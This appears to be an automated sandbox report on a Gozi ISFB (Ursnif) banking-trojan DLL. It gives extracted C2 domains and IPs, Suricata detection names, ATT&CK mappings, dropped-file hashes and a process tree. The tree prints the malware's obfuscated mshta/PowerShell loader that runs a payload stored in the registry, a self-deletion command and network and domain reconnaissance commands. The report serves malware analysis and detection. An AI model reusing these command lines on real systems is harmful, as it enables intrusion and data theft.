gozi_ifsb | 53c98ffe8239d1b715de36fb51e0dfd87ffa02d11a2e9d5df3c010e9d6973354

Analysis

max time kernel
150s
max time network
127s
platform
windows10-2004_x64
resource
win10v2004-20220331-en
submitted
05/04/2022, 19:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
624c9238527dd.dll
Size 524KB
Sample220405-xvxmmsfbdn
SHA256 53c98ffe8239d1b715de36fb51e0dfd87ffa02d11a2e9d5df3c010e9d6973354
MD5 8566d619e8c0a0138166c1ab7eaee50c
SHA1 a0919456f1e540388a46566efd431a9708e20f4a
SHA512 78279ff36e589e270c43cd44eeb22c3debb3c54f7f440cdc4995dd0bbec2b9d665f638b7a54fa625937a2f86b13dbd4d7e22336d22d0b381af5a81d57eeec069
MD5 SHA1 SHA512

Score

10^/10

gozi_ifsb 3000 banker suricata trojan

Malware Config

Extracted

Family

gozi_ifsb

Botnet

3000

config.edge.skype.com
185.154.53.214
185.154.53.188
46.30.42.246

Attributes

base_path
/drew/
build
260226
exe_type
loader
extension
.jlk
server_id
50

rsa_pubkey.plain

aes.plain

Extracted

Family

gozi_ifsb

Botnet

3000

config.edge.skype.com
185.154.53.58
cabrioxmdes.at
hopexmder.net
185.154.53.49
193.56.146.189

Attributes

base_path
/images/
exe_type
worker
extension
.jlk
server_id
50

rsa_pubkey.plain

aes.plain

Signatures

Gozi, Gozi IFSB
Gozi ISFB is a well-known and widely distributed banking trojan.
banker trojan gozi_ifsb
suricata: ET MALWARE Ursnif Payload Request (cook32.rar)
suricata: ET MALWARE Ursnif Payload Request (cook32.rar)
suricata
suricata: ET MALWARE Ursnif Payload Request (cook64.rar)
suricata: ET MALWARE Ursnif Payload Request (cook64.rar)
suricata
suricata: ET MALWARE Ursnif Variant CnC Beacon
suricata: ET MALWARE Ursnif Variant CnC Beacon
suricata
suricata: ET MALWARE Ursnif Variant CnC Beacon - URI Struct M2 (_2F)
suricata: ET MALWARE Ursnif Variant CnC Beacon - URI Struct M2 (_2F)
suricata
suricata: ET MALWARE Ursnif Variant CnC Data Exfil
suricata: ET MALWARE Ursnif Variant CnC Data Exfil
suricata

Blocklisted process makes network request 2 IoCs

flow	pid	Process
7	3100	rundll32.exe
11	3100	rundll32.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-157025953-3125636059-437143553-1000\Control Panel\International\Geo\Nation	mshta.exe

Unexpected DNS network traffic destination 3 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	208.67.222.222
Destination IP	208.67.222.222
Destination IP	208.67.222.222

Suspicious use of SetThreadContext 7 IoCs

description	pid	Process	procid_target
PID 4800 set thread context of 2768	4800	powershell.exe	39
PID 2768 set thread context of 3408	2768	Explorer.EXE	15
PID 2768 set thread context of 4592	2768	Explorer.EXE	91
PID 2768 set thread context of 3704	2768	Explorer.EXE	16
PID 2768 set thread context of 2900	2768	Explorer.EXE	28
PID 4592 set thread context of 2256	4592	cmd.exe	93
PID 2768 set thread context of 4968	2768	Explorer.EXE	101

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Discovers systems in the same network 1 TTPs 3 IoCs

discovery

Remote System Discovery

T1018

pid	Process
4988	net.exe
1660	net.exe
2124	net.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
1752	tasklist.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2700	systeminfo.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2256	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2256	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3100	rundll32.exe
3100	rundll32.exe
4800	powershell.exe
4800	powershell.exe
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2768	Explorer.EXE

Suspicious behavior: MapViewOfSection 7 IoCs

pid	Process
4800	powershell.exe
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
2768	Explorer.EXE
4592	cmd.exe
2768	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 10 IoCs

description	pid	Process
Token: SeDebugPrivilege	4800	powershell.exe
Token: SeShutdownPrivilege	2768	Explorer.EXE
Token: SeCreatePagefilePrivilege	2768	Explorer.EXE
Token: SeShutdownPrivilege	2768	Explorer.EXE
Token: SeCreatePagefilePrivilege	2768	Explorer.EXE
Token: SeShutdownPrivilege	2768	Explorer.EXE
Token: SeCreatePagefilePrivilege	2768	Explorer.EXE
Token: SeShutdownPrivilege	2768	Explorer.EXE
Token: SeCreatePagefilePrivilege	2768	Explorer.EXE
Token: SeDebugPrivilege	1752	tasklist.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2768	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2180 wrote to memory of 3100	2180	rundll32.exe	80
PID 2180 wrote to memory of 3100	2180	rundll32.exe	80
PID 2180 wrote to memory of 3100	2180	rundll32.exe	80
PID 2248 wrote to memory of 4800	2248	mshta.exe	85
PID 2248 wrote to memory of 4800	2248	mshta.exe	85
PID 4800 wrote to memory of 440	4800	powershell.exe	87
PID 4800 wrote to memory of 440	4800	powershell.exe	87
PID 440 wrote to memory of 4736	440	csc.exe	88
PID 440 wrote to memory of 4736	440	csc.exe	88
PID 4800 wrote to memory of 1104	4800	powershell.exe	89
PID 4800 wrote to memory of 1104	4800	powershell.exe	89
PID 1104 wrote to memory of 4152	1104	csc.exe	90
PID 1104 wrote to memory of 4152	1104	csc.exe	90
PID 4800 wrote to memory of 2768	4800	powershell.exe	39
PID 4800 wrote to memory of 2768	4800	powershell.exe	39
PID 4800 wrote to memory of 2768	4800	powershell.exe	39
PID 4800 wrote to memory of 2768	4800	powershell.exe	39
PID 2768 wrote to memory of 3408	2768	Explorer.EXE	15
PID 2768 wrote to memory of 3408	2768	Explorer.EXE	15
PID 2768 wrote to memory of 4592	2768	Explorer.EXE	91
PID 2768 wrote to memory of 4592	2768	Explorer.EXE	91
PID 2768 wrote to memory of 4592	2768	Explorer.EXE	91
PID 2768 wrote to memory of 3408	2768	Explorer.EXE	15
PID 2768 wrote to memory of 3408	2768	Explorer.EXE	15
PID 2768 wrote to memory of 3704	2768	Explorer.EXE	16
PID 2768 wrote to memory of 3704	2768	Explorer.EXE	16
PID 2768 wrote to memory of 4592	2768	Explorer.EXE	91
PID 2768 wrote to memory of 4592	2768	Explorer.EXE	91
PID 2768 wrote to memory of 3704	2768	Explorer.EXE	16
PID 2768 wrote to memory of 3704	2768	Explorer.EXE	16
PID 2768 wrote to memory of 2900	2768	Explorer.EXE	28
PID 2768 wrote to memory of 2900	2768	Explorer.EXE	28
PID 4592 wrote to memory of 2256	4592	cmd.exe	93
PID 4592 wrote to memory of 2256	4592	cmd.exe	93
PID 4592 wrote to memory of 2256	4592	cmd.exe	93
PID 2768 wrote to memory of 2900	2768	Explorer.EXE	28
PID 2768 wrote to memory of 2900	2768	Explorer.EXE	28
PID 4592 wrote to memory of 2256	4592	cmd.exe	93
PID 4592 wrote to memory of 2256	4592	cmd.exe	93
PID 2768 wrote to memory of 1508	2768	Explorer.EXE	94
PID 2768 wrote to memory of 1508	2768	Explorer.EXE	94
PID 1508 wrote to memory of 3900	1508	cmd.exe	96
PID 1508 wrote to memory of 3900	1508	cmd.exe	96
PID 2768 wrote to memory of 3940	2768	Explorer.EXE	97
PID 2768 wrote to memory of 3940	2768	Explorer.EXE	97
PID 2768 wrote to memory of 4048	2768	Explorer.EXE	99
PID 2768 wrote to memory of 4048	2768	Explorer.EXE	99
PID 2768 wrote to memory of 4968	2768	Explorer.EXE	101
PID 2768 wrote to memory of 4968	2768	Explorer.EXE	101
PID 2768 wrote to memory of 4968	2768	Explorer.EXE	101
PID 2768 wrote to memory of 4968	2768	Explorer.EXE	101
PID 4048 wrote to memory of 2700	4048	cmd.exe	103
PID 4048 wrote to memory of 2700	4048	cmd.exe	103
PID 2768 wrote to memory of 4968	2768	Explorer.EXE	101
PID 2768 wrote to memory of 4968	2768	Explorer.EXE	101
PID 2768 wrote to memory of 3096	2768	Explorer.EXE	104
PID 2768 wrote to memory of 3096	2768	Explorer.EXE	104
PID 2768 wrote to memory of 4648	2768	Explorer.EXE	106
PID 2768 wrote to memory of 4648	2768	Explorer.EXE	106
PID 4648 wrote to memory of 4988	4648	cmd.exe	108
PID 4648 wrote to memory of 4988	4648	cmd.exe	108
PID 2768 wrote to memory of 4568	2768	Explorer.EXE	111
PID 2768 wrote to memory of 4568	2768	Explorer.EXE	111
PID 2768 wrote to memory of 3544	2768	Explorer.EXE	113

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3408

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3704

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2900

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2768
- C:\Windows\system32\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\624c9238527dd.dll,#1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2180
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\624c9238527dd.dll,#1
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    PID:3100
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" "about:<hta:application><script>Hvgh='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Hvgh).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\FF60E4D4-527A-89D5-54A3-A6CDC8873A51\\\StartWhite'));if(!window.flag)close()</script>"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:2248
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name sfgxob -value gp; new-alias -name uiveidg -value iex; uiveidg ([System.Text.Encoding]::ASCII.GetString((sfgxob "HKCU:Software\AppDataLow\Software\Microsoft\FF60E4D4-527A-89D5-54A3-A6CDC8873A51").StopSystem))
    3⤵
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4800
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kj5of0yt\kj5of0yt.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:440
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDD84.tmp" "c:\Users\Admin\AppData\Local\Temp\kj5of0yt\CSCA63C13D75D6547E5B1FF80F177F4071.TMP"
        5⤵
        
        PID:4736
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yakiaflz\yakiaflz.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1104
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDE5E.tmp" "c:\Users\Admin\AppData\Local\Temp\yakiaflz\CSCDB2C48FCBB5D44C2B1785ACF10ABBE44.TMP"
        5⤵
        
        PID:4152
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\624c9238527dd.dll"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:4592
- - C:\Windows\system32\PING.EXE
    ping localhost -n 5
    3⤵
    - Runs ping.exe
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2256
- C:\Windows\system32\cmd.exe
  cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\45B4.bi1"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1508
- - C:\Windows\system32\nslookup.exe
    nslookup myip.opendns.com resolver1.opendns.com
    3⤵
    PID:3900
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\45B4.bi1"
  2⤵
  PID:3940
- C:\Windows\system32\cmd.exe
  cmd /C "systeminfo.exe > C:\Users\Admin\AppData\Local\Temp\C59D.bin1"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4048
- - C:\Windows\system32\systeminfo.exe
    systeminfo.exe
    3⤵
    - Gathers system information
    PID:2700
- C:\Windows\syswow64\cmd.exe
  "C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
  2⤵
  PID:4968
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\C59D.bin1"
  2⤵
  PID:3096
- C:\Windows\system32\cmd.exe
  cmd /C "net view >> C:\Users\Admin\AppData\Local\Temp\C59D.bin1"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4648
- - C:\Windows\system32\net.exe
    net view
    3⤵
    - Discovers systems in the same network
    PID:4988
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\C59D.bin1"
  2⤵
  PID:4568
- C:\Windows\system32\cmd.exe
  cmd /C "nslookup 127.0.0.1 >> C:\Users\Admin\AppData\Local\Temp\C59D.bin1"
  2⤵
  PID:3544
- - C:\Windows\system32\nslookup.exe
    nslookup 127.0.0.1
    3⤵
    PID:4436
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\C59D.bin1"
  2⤵
  PID:3156
- C:\Windows\system32\cmd.exe
  cmd /C "tasklist.exe /SVC >> C:\Users\Admin\AppData\Local\Temp\C59D.bin1"
  2⤵
  PID:3220
- - C:\Windows\system32\tasklist.exe
    tasklist.exe /SVC
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:1752
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\C59D.bin1"
  2⤵
  PID:2444
- C:\Windows\system32\cmd.exe
  cmd /C "driverquery.exe >> C:\Users\Admin\AppData\Local\Temp\C59D.bin1"
  2⤵
  PID:1056
- - C:\Windows\system32\driverquery.exe
    driverquery.exe
    3⤵
    PID:3424
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\C59D.bin1"
  2⤵
  PID:1304
- C:\Windows\system32\cmd.exe
  cmd /C "reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s >> C:\Users\Admin\AppData\Local\Temp\C59D.bin1"
  2⤵
  PID:5084
- - C:\Windows\system32\reg.exe
    reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
    3⤵
    PID:3400
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\C59D.bin1"
  2⤵
  PID:4508
- C:\Windows\system32\cmd.exe
  cmd /C "net config workstation >> C:\Users\Admin\AppData\Local\Temp\C59D.bin1"
  2⤵
  PID:1148
- - C:\Windows\system32\net.exe
    net config workstation
    3⤵
    PID:4400
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 config workstation
      4⤵
      PID:4520
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\C59D.bin1"
  2⤵
  PID:3012
- C:\Windows\system32\cmd.exe
  cmd /C "nltest /domain_trusts >> C:\Users\Admin\AppData\Local\Temp\C59D.bin1"
  2⤵
  PID:3996
- - C:\Windows\system32\nltest.exe
    nltest /domain_trusts
    3⤵
    PID:4308
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\C59D.bin1"
  2⤵
  PID:4716
- C:\Windows\system32\cmd.exe
  cmd /C "nltest /domain_trusts /all_trusts >> C:\Users\Admin\AppData\Local\Temp\C59D.bin1"
  2⤵
  PID:4120
- - C:\Windows\system32\nltest.exe
    nltest /domain_trusts /all_trusts
    3⤵
    PID:4188
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\C59D.bin1"
  2⤵
  PID:2728
- C:\Windows\system32\cmd.exe
  cmd /C "net view /all /domain >> C:\Users\Admin\AppData\Local\Temp\C59D.bin1"
  2⤵
  PID:3896
- - C:\Windows\system32\net.exe
    net view /all /domain
    3⤵
    - Discovers systems in the same network
    PID:1660
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\C59D.bin1"
  2⤵
  PID:5072
- C:\Windows\system32\cmd.exe
  cmd /C "net view /all >> C:\Users\Admin\AppData\Local\Temp\C59D.bin1"
  2⤵
  PID:4896
- - C:\Windows\system32\net.exe
    net view /all
    3⤵
    - Discovers systems in the same network
    PID:2124
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\C59D.bin1"
  2⤵
  PID:3248
- C:\Windows\system32\cmd.exe
  cmd /U /C "type C:\Users\Admin\AppData\Local\Temp\C59D.bin1 > C:\Users\Admin\AppData\Local\Temp\C59D.bin & del C:\Users\Admin\AppData\Local\Temp\C59D.bin1"
  2⤵
  PID:3660

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

45B4.bi1

Path C:\Users\Admin\AppData\Local\Temp\45B4.bi1
Size 118B
SHA256 58b498e17cfc59584aae9620ca60d657e3691c7bfc1896e581f3f9292390bfd8
MD5 ace7e9f29953c4fbd6a930b50f792079
SHA1 97511e3438221ac9c30944fca7b91e87978c1248
SHA512 5dc35105667f0e1231fd21b85a7dbc65f207251efbbe173545d8f0172272b0ad68cc084514f8b034b998194a4e63b29ffb862243c65bf14ab0eba3ee2d081106
MD5 SHA1 SHA512

Submit Download

45B4.bi1

Path C:\Users\Admin\AppData\Local\Temp\45B4.bi1
Size 118B
SHA256 58b498e17cfc59584aae9620ca60d657e3691c7bfc1896e581f3f9292390bfd8
MD5 ace7e9f29953c4fbd6a930b50f792079
SHA1 97511e3438221ac9c30944fca7b91e87978c1248
SHA512 5dc35105667f0e1231fd21b85a7dbc65f207251efbbe173545d8f0172272b0ad68cc084514f8b034b998194a4e63b29ffb862243c65bf14ab0eba3ee2d081106
MD5 SHA1 SHA512

Submit Download

C59D.bin

Path C:\Users\Admin\AppData\Local\Temp\C59D.bin
Size 64KB
SHA256 92672e3ac8405dc6a4d87b5d20f4634bbaf9209d290b1c43924bf9fbcd91d774
MD5 e9465b4e9f2efb2006e424d92d28a487
SHA1 b9aa1363d6c0414cc33a232147ebcd6e4f1ccfd1
SHA512 9f5236cf426310c9b5483e970a9e7187a9394ba5911cdab342b7bfb4582cc47e5e5ccb022f2039548fa78e4e9f044fc8aaf4c4817b75caf4640af11f667b35e6
SSDEEP 1536:ODepBOQqEa3Kl813ctz01fRe5AQQwTBFfKmZvZe+rIo5T+k1uBbBuPiTnCmI9Ei9:OcrDoTSoCn
MD5 SHA1 SHA512 SSDEEP

Submit Download

C59D.bin1

Path C:\Users\Admin\AppData\Local\Temp\C59D.bin1
Size 2KB
SHA256 3f63ca16e2d8345593285d42756cf1aa1662a2e15998df18f8b93de9aad2c5c9
MD5 afe97f915ae34ec79e6031dcd883f829
SHA1 73711ddbb35f461c9c28c9e87770faa23bec0683
SHA512 da274d1625a0ece4edcb2773d83b85f6c2a94abeb764a48569cb30fa47dd1a7290b61c20b978629797c51cace2663b7c7fb974c85a70940dd4dac6b7fc1f28a8
MD5 SHA1 SHA512

Submit Download

C59D.bin1

Path C:\Users\Admin\AppData\Local\Temp\C59D.bin1
Size 2KB
SHA256 3f63ca16e2d8345593285d42756cf1aa1662a2e15998df18f8b93de9aad2c5c9
MD5 afe97f915ae34ec79e6031dcd883f829
SHA1 73711ddbb35f461c9c28c9e87770faa23bec0683
SHA512 da274d1625a0ece4edcb2773d83b85f6c2a94abeb764a48569cb30fa47dd1a7290b61c20b978629797c51cace2663b7c7fb974c85a70940dd4dac6b7fc1f28a8
MD5 SHA1 SHA512

Submit Download

C59D.bin1

Path C:\Users\Admin\AppData\Local\Temp\C59D.bin1
Size 2KB
SHA256 b1d55d4dca8c2b67c2febfcb6419abfb415906ada1cd6e591aad30b9edcc674b
MD5 9859a030a248cf518e3fe0b2ef352085
SHA1 c79b7f9badcae97af6339cd711711f44e5a915d0
SHA512 99ae4b3161e0d4d75fdac5b623190fa85fb4384a81e7852599694b66e3063d7128fc22b4c3dbb52dd1b362a782e27091cd5106a47491c17e826052b96cc7b159
MD5 SHA1 SHA512

Submit Download

C59D.bin1

Path C:\Users\Admin\AppData\Local\Temp\C59D.bin1
Size 2KB
SHA256 9c883b7e55c0164d6a388f48f8c2d27c7514bcdd66b888ac5325276b9476bdaa
MD5 4599e75491489c3cf24777a9dd9416d1
SHA1 693d53a7d9f273e0f1641c884ce0363d94fac0bd
SHA512 bc231f907568f9a3701d0a1443ea569686a72d4f73b6b5e84921a8a4c1d5b1abe00dfae7b72f44ff08b1bfe837b7995e1f987cd1d84454c74ec4cce2e17ad90e
MD5 SHA1 SHA512

Submit Download

C59D.bin1

Path C:\Users\Admin\AppData\Local\Temp\C59D.bin1
Size 2KB
SHA256 9c883b7e55c0164d6a388f48f8c2d27c7514bcdd66b888ac5325276b9476bdaa
MD5 4599e75491489c3cf24777a9dd9416d1
SHA1 693d53a7d9f273e0f1641c884ce0363d94fac0bd
SHA512 bc231f907568f9a3701d0a1443ea569686a72d4f73b6b5e84921a8a4c1d5b1abe00dfae7b72f44ff08b1bfe837b7995e1f987cd1d84454c74ec4cce2e17ad90e
MD5 SHA1 SHA512

Submit Download

C59D.bin1

Path C:\Users\Admin\AppData\Local\Temp\C59D.bin1
Size 9KB
SHA256 e07618ea0ea9e0474e2d04dde4e23294fb570979cb5a2170d58069d2cdffe8e8
MD5 e43317a5927bde17f1ec78f75eb569f3
SHA1 dda94f9181950223631a80f84a9b237c362d72a1
SHA512 1176512aa305df1a4bd916aabdefd7c70c50e422cfd7fab247272ba733c10523bc1e6154cf76294a9d26b1b0b4c88da75fa531f6aa897bc682cdc4751f444491
SSDEEP 192:UMknB7os7NeUEBOQqEa3Kl813cAAztm1fRe5AQQwTJvFfKmZvZe+rIo5T+k1uV7D:UHB7osxepBOQqEa3Kl813ctztm1fRe58
MD5 SHA1 SHA512 SSDEEP

Submit Download

C59D.bin1

Path C:\Users\Admin\AppData\Local\Temp\C59D.bin1
Size 9KB
SHA256 e07618ea0ea9e0474e2d04dde4e23294fb570979cb5a2170d58069d2cdffe8e8
MD5 e43317a5927bde17f1ec78f75eb569f3
SHA1 dda94f9181950223631a80f84a9b237c362d72a1
SHA512 1176512aa305df1a4bd916aabdefd7c70c50e422cfd7fab247272ba733c10523bc1e6154cf76294a9d26b1b0b4c88da75fa531f6aa897bc682cdc4751f444491
SSDEEP 192:UMknB7os7NeUEBOQqEa3Kl813cAAztm1fRe5AQQwTJvFfKmZvZe+rIo5T+k1uV7D:UHB7osxepBOQqEa3Kl813ctztm1fRe58
MD5 SHA1 SHA512 SSDEEP

Submit Download

C59D.bin1

Path C:\Users\Admin\AppData\Local\Temp\C59D.bin1
Size 34KB
SHA256 b83fb101bfa4459ae9386db6f4e7a11a7232aabbb971739e5b87c5f73dbaab71
MD5 9d446ce573f7120e678d794f15564b4b
SHA1 10e1d2fec80412f505a3532bb3b8c45c4d466130
SHA512 cc05636aef5a41d8b23b2884052355e023b6ef1177c8aa67077d7fd1b3a5dc15becd079324b8d6d47aecafbcf06af40df8c0939a617ea166732bb93bb8c7264a
SSDEEP 768:OB7osxepBOQqEa3Kl813ctztm1fRe5AQQwTBFfKmZvZe+rIo5T+k1uBbBuPiTnCD:ODepBOQqEa3Kl813ctz01fRe5AQQwTBV
MD5 SHA1 SHA512 SSDEEP

Submit Download

C59D.bin1

Path C:\Users\Admin\AppData\Local\Temp\C59D.bin1
Size 35KB
SHA256 14413ae45e840ad7a1894dc10e94726012b0adec344ee08c5b96f8ae31f0732e
MD5 86e1ec476019c6aeb0b7903f284db215
SHA1 1bd0b617c08bb7025b9daed2e2f847d09825849a
SHA512 55ca9b183b8af264d38ce87faadf60abdb7e42aaf1c3a85914f64d2227bb79a88c3a0a899e822cd4782cbbb2ec4a0ad0a3a112dab719e7e406534d5ca9a56025
SSDEEP 768:OB7osxepBOQqEa3Kl813ctztm1fRe5AQQwTBFfKmZvZe+rIo5T+k1uBbBuPiTnCA:ODepBOQqEa3Kl813ctz01fRe5AQQwTBy
MD5 SHA1 SHA512 SSDEEP

Submit Download

C59D.bin1

Path C:\Users\Admin\AppData\Local\Temp\C59D.bin1
Size 63KB
SHA256 9616f321e41ff604e9bab14ce32d70e6e45e956373791e6674989cda4963929a
MD5 871132fac14ce421c15994fd998aff79
SHA1 9321099b0a7db7047f718a665911602e6def1e70
SHA512 8b62ea0f4429b5d345fe99a0140927c64ce4892c44a4c96feee05ec808f76d974ef783adb7db805bb6e1569a9a26fa96da49115581db105c2ab187beeaafb81f
SSDEEP 1536:ODepBOQqEa3Kl813ctz01fRe5AQQwTBFfKmZvZe+rIo5T+k1uBbBuPiTnCmI9Eil:OcrDoTSoC7
MD5 SHA1 SHA512 SSDEEP

Submit Download

C59D.bin1

Path C:\Users\Admin\AppData\Local\Temp\C59D.bin1
Size 63KB
SHA256 9616f321e41ff604e9bab14ce32d70e6e45e956373791e6674989cda4963929a
MD5 871132fac14ce421c15994fd998aff79
SHA1 9321099b0a7db7047f718a665911602e6def1e70
SHA512 8b62ea0f4429b5d345fe99a0140927c64ce4892c44a4c96feee05ec808f76d974ef783adb7db805bb6e1569a9a26fa96da49115581db105c2ab187beeaafb81f
SSDEEP 1536:ODepBOQqEa3Kl813ctz01fRe5AQQwTBFfKmZvZe+rIo5T+k1uBbBuPiTnCmI9Eil:OcrDoTSoC7
MD5 SHA1 SHA512 SSDEEP

Submit Download

C59D.bin1

Path C:\Users\Admin\AppData\Local\Temp\C59D.bin1
Size 64KB
SHA256 fad40b46dddc0033026c3de44ae4625df0e4817b4119d8186d6569054dc96127
MD5 0523570378039fde06e0f00018a0d578
SHA1 8ff001c3849c006f1671bf526de6c6cc0e239c75
SHA512 bf4cfc8b45e8ab36e32cd727faff320b71e1a0c116d24e8c2ff75d10975ed91e8051edb7a7ff84327061ab62e12ce63f4ed2ece8c76342a44074a97f75ae825c
SSDEEP 1536:ODepBOQqEa3Kl813ctz01fRe5AQQwTBFfKmZvZe+rIo5T+k1uBbBuPiTnCmI9Eih:OcrDoTSoC7
MD5 SHA1 SHA512 SSDEEP

Submit Download

